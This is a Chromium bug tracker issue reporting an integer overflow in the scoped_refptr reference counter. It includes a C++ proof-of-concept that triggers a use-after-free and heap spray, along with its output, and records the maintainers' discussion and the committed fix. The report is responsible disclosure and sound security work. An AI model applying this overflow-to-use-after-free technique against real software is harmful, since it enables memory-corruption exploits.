New issue
Advanced search Search tips

Issue 629774 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Oct 2016
Cc:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 2
Type: Bug-Security



Sign in to add a comment

Security: Integer overflow in use counter of scoped pointers.

Reported by chwress....@gmail.com, Jul 20 2016

Issue description

VULNERABILITY DETAILS
We (Christian Wressnegger, Fabian Yamaguchi, and Alwin Maier) would like
to report an integer overflow of the use counter in the `scoped_refptr`
object of the Chromium (libbase) version 52.0 and before. Exploiting the
flaw requires some very specific prerequisites to be met, a successful
attempt however allows an attacker to execute code and the underlying
object (`RefCounted`) is used all over chrome. Consequently, this might
be worth addressing.

The following conditions must hold true in order to trigger the
overflow:

(1) The target is compiled and runs on an architecture where
sizeof(size_t) is larger than sizeof(int), e.g. 64 bit systems with the
LP64 (Linux/ BSD) or LLP64 (Windows) data model in order to allocate
more UINT_MAX Objects.

(2) The attacker is capable of triggering the creation of a multitude of
shared objects.

(3) The attacker can make one of these shared pointers go out of scope,
e.g., by instructing the system to remove a state object.


VERSION
Chrome Version: [51.0.2704.106] + [stable]
Chrome Version: [52.0.2739.0] + [beta]
Chrome Version: [53.0.2785.8] + [dev]
Operating System: [Ubuntu Linux 16.04]

REPRODUCTION CASE
The following short program (shared_ptr_overflow.cpp) demonstrates the
bug: First, we create a shared pointer referencing a minimal class
`MyClass`. Second, 0xFFFFFFFF more references are created which results
in the use counter to flip over to 0 again. Finally, we add one more
reference (use counter is incremented to 1) and make one of the shared
pointers go out of scope. As a result the use counter is decremented to
0 and the contained object is freed, leaving 0xFFFFFFFF shared pointer
object behind, that still reference that memory region.
Subsequently, an attacker may allocate memory containing arbitrary data
such as executable code to take the place of the freed object and make
all references left behind point to that piece of data.


--- snip (shared_ptr_overflow.cpp) ----

//#define HAS_ENOUGH_MEMORY

int main()
{
    std::cout << "1) Create an object and pass it over to a shared pointer..." << std::endl;
    // We initialize the object on the heap and set x to 10.
    scoped_refptr<MyClass> ptr(new MyClass(10));
    std::cout << "   ptr.get()->ref_count_ -> 1" << std::endl;
    // use-count is 1

    const size_t numPtrs = (size_t) 0xFFFFFFFF;
#ifdef HAS_ENOUGH_MEMORY
    std::cout << "2) Create 0x" << std::hex << numPtrs << " more references to that object..." << std::endl;
    std::vector<scoped_refptr<MyClass>> v(numPtrs);

    for (size_t i = 0; i < numPtrs; i++)
    {
        v[i] = ptr;
    }
    std::cout << "   ptr.get()->ref_count_ -> 0" << std::endl;
    // use-count is 0


    std::cout << "3) Create one more reference..." << std::endl;
    {
        scoped_refptr<MyClass> ptr2 = ptr;
        std::cout << "   ptr.get()->ref_count_ -> 1" << std::endl;
        // use-count is 1

        std::cout << "4) That last reference goes out of scope again now..." << std::endl;
    }
#else
    {
        std::cout << "2) Create an extra reference to that object..." << std::endl;
        scoped_refptr<MyClass> ptr2 = ptr;
        std::cout << "   ptr.get()->ref_count_ -> 2" << std::endl;
        // use-count is 2

        std::cout << "3) Emulate 0x" << std::hex << numPtrs << " more references to that object..." << std::endl;
        for(size_t i = 0; i < numPtrs; i++){
            memset(&ptr, '\0', sizeof(scoped_refptr<MyClass>));
            ptr = ptr2;
        }
        std::cout << "   ptr.get()->ref_count_ -> 1" << std::endl;
        // use-count is 1

        std::cout << "4) One reference goes out of scope again now..." << std::endl;
    }
#endif
    std::cout << "   ptr.get()->ref_count_ -> 0" << std::endl;
    // use-count is 0

    std::cout << "5) We now spray the heap with 'A's to overwrite the freed memory" << std::endl;
    const size_t CHUNK_SIZE = sizeof(scoped_refptr<MyClass>);

    for(int i = 0; i < 1000; i++){
        char *foo = new char[CHUNK_SIZE];
        memset(foo, 'A', CHUNK_SIZE);
    }

    // The address stored in ptr is still that of the free'd object
    std::cout << "   ptr: " << (void *) ptr.get() << std::endl;

    // ptr->x is now 0x41414141
    std::cout << "   value: 0x" << std::hex << ptr->x << std::endl;


    std::cout << "*) Bye!" << std::endl;

#ifdef HAS_ENOUGH_MEMORY
    v.clear();
    std::cout << std::endl;
    std::cout << "Destroying the last reference causes a double-free of the object..." << std::endl;
#endif

    return 0;
}

--- /snip ---


For testing purposes the program can be compiled and run with the
HAS_ENOUGH_MEMORY definition commented out, in order to reduce the
hardware prerequisites. To test this, build the demo application using
the provided make file, and execute the program as follows:


--- snip ---

$ make
$ ./scoped_refptr

--- /snip ---


This results in the following output:

--- snip (output) ---

1) Create an object and pass it over to a shared pointer...
   ptr.get()->ref_count_ -> 1
2) Create an extra reference to that object...
   ptr.get()->ref_count_ -> 2
3) Emulate 0xffffffff more references to that object...
   ptr.get()->ref_count_ -> 1
4) One reference goes out of scope again now...
   destruct: 0x1e0d030
   ptr.get()->ref_count_ -> 0
5) We now spray the heap with 'A's to overwrite the freed memory
   ptr: 0x1e0d030
   value: 0x41414141
*) Bye!

--- /snip ---


In the following we point out the locations in the source code that make
this attack possible. In chrome shared pointer (class scoped_reftr) make
use of the `RefCounted<T>` and `RefCountedBase` base classes for
reference counting.


--- snip (base/memory/ref_counted.h) ---

class BASE_EXPORT RefCountedBase {
 private:
  mutable int ref_count_;                                            (A)

  DFAKE_MUTEX(add_release_);

  DISALLOW_COPY_AND_ASSIGN(RefCountedBase);

 public:
  bool HasOneRef() const { return ref_count_ == 1; }

 protected:
  RefCountedBase()
      : ref_count_(0)
      {
  }

  ~RefCountedBase() {
  }


  void AddRef() const {
    // TODO(maruel): Add back once it doesn't assert 500 times/sec.
    // Current thread books the critical section "AddRelease"
    // without release it.
    // DFAKE_SCOPED_LOCK_THREAD_LOCKED(add_release_);
    ++ref_count_;                                                    (B)
  }

  // Returns true if the object should self-delete.
  bool Release() const {
    // TODO(maruel): Add back once it doesn't assert 500 times/sec.
    // Current thread books the critical section "AddRelease"
    // without release it.
    // DFAKE_SCOPED_LOCK_THREAD_LOCKED(add_release_);
    if (--ref_count_ == 0) {                                         (C)
      return true;
    }
    return false;
  }
};

--- /snip ---


Given that the hardware qualifications are met, on 64-bit systems the
number of allocated objects is only limited by the register size. Due to
the migration between platforms and the resulting difference in size a
register may hold larger integers than the `int` type (A) allows.
// sizeof(int) == 4 on 32 and 64-bit systems.

Consequently, the `ref_count_` variable is incremented until it flips
over to negative numbers, zero and finally to 1 (B). This is
particularily interesting as once a single reference is then destroyed
the referenced object is destroyed as well (C). This however leaves
0xFFFFFFFF shared pointers behind that still reference the freed memory
location.

 
scoped_refptr_overflow.cpp
2.7 KB View Download
Makefile
255 bytes View Download

Comment 1 by tsepez@chromium.org, Jul 20 2016

Status: WontFix (was: Unconfirmed)
Yep, this has been around for a while and is mitigated by limiting the amount of heap that can be allocated by renderer processes, either in blink or in javascript itself, so that there isn't room to store enough references to the object to trigger the overflow.

If you can make this happen in the umodified chrome executable itself, rather than your test harness, feel free to re-open.

Comment 2 by wfh@chromium.org, Sep 18 2016

Cc: wfh@chromium.org

Comment 3 by wfh@chromium.org, Sep 20 2016

Cc: thakis@chromium.org

Comment 4 by wfh@chromium.org, Sep 22 2016

Cc: -wfh@chromium.org
Labels: Security_Severity-Low Security_Impact-None OS-All Pri-2
Owner: wfh@chromium.org
Status: Started (was: WontFix)
I chatted further with the researchers and their suggestion is:

"I'd suggest do directly change the type of the
counter variable `ref_count_` in `RefCountedBase` class to `size_t`
(`base/memory/ref_counted.h`). As `ref_count_` is private and not
returned from any function this shouldn't affect anything else but that
class itself.

For `RefCountedThreadSafeBase` the counter is defined as
`AtomicRefCount` which in turn is defined as `Atomic32` in
`base/atomic_ref_count.h`. This should be changed accordingly, but I'm
not sure how this might influence other classes using `AtomicRefCount`
definition."

It seems to make sense to change the counters to platform sized rather than always 32-bit.

This is in https://www.tu-braunschweig.de/Medien-DB/sec/pubs/2016-ccs.pdf
Project Member

Comment 5 by bugdroid1@chromium.org, Sep 24 2016

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/c1049960743d2e67130cdef1ab46ef455182b95b

commit c1049960743d2e67130cdef1ab46ef455182b95b
Author: wfh <wfh@chromium.org>
Date: Sat Sep 24 19:11:27 2016

Use platform sized counters for the refcounted classes in base.

Also, fix an implicit cast in OneWriterSeqLockTest.

BUG= 629774 

Review-Url: https://codereview.chromium.org/2349393002
Cr-Commit-Position: refs/heads/master@{#420850}

[modify] https://crrev.com/c1049960743d2e67130cdef1ab46ef455182b95b/base/atomic_ref_count.h
[modify] https://crrev.com/c1049960743d2e67130cdef1ab46ef455182b95b/base/memory/ref_counted.h
[modify] https://crrev.com/c1049960743d2e67130cdef1ab46ef455182b95b/content/common/one_writer_seqlock_unittest.cc

Hello!  Any more changes expected for this, or can we move it to Fixed?  Cheers.

Comment 7 by wfh@chromium.org, Oct 14 2016

Status: Fixed (was: Started)
Project Member

Comment 8 by sheriffbot@chromium.org, Oct 15 2016

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Project Member

Comment 9 by sheriffbot@chromium.org, Jan 21 2017

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment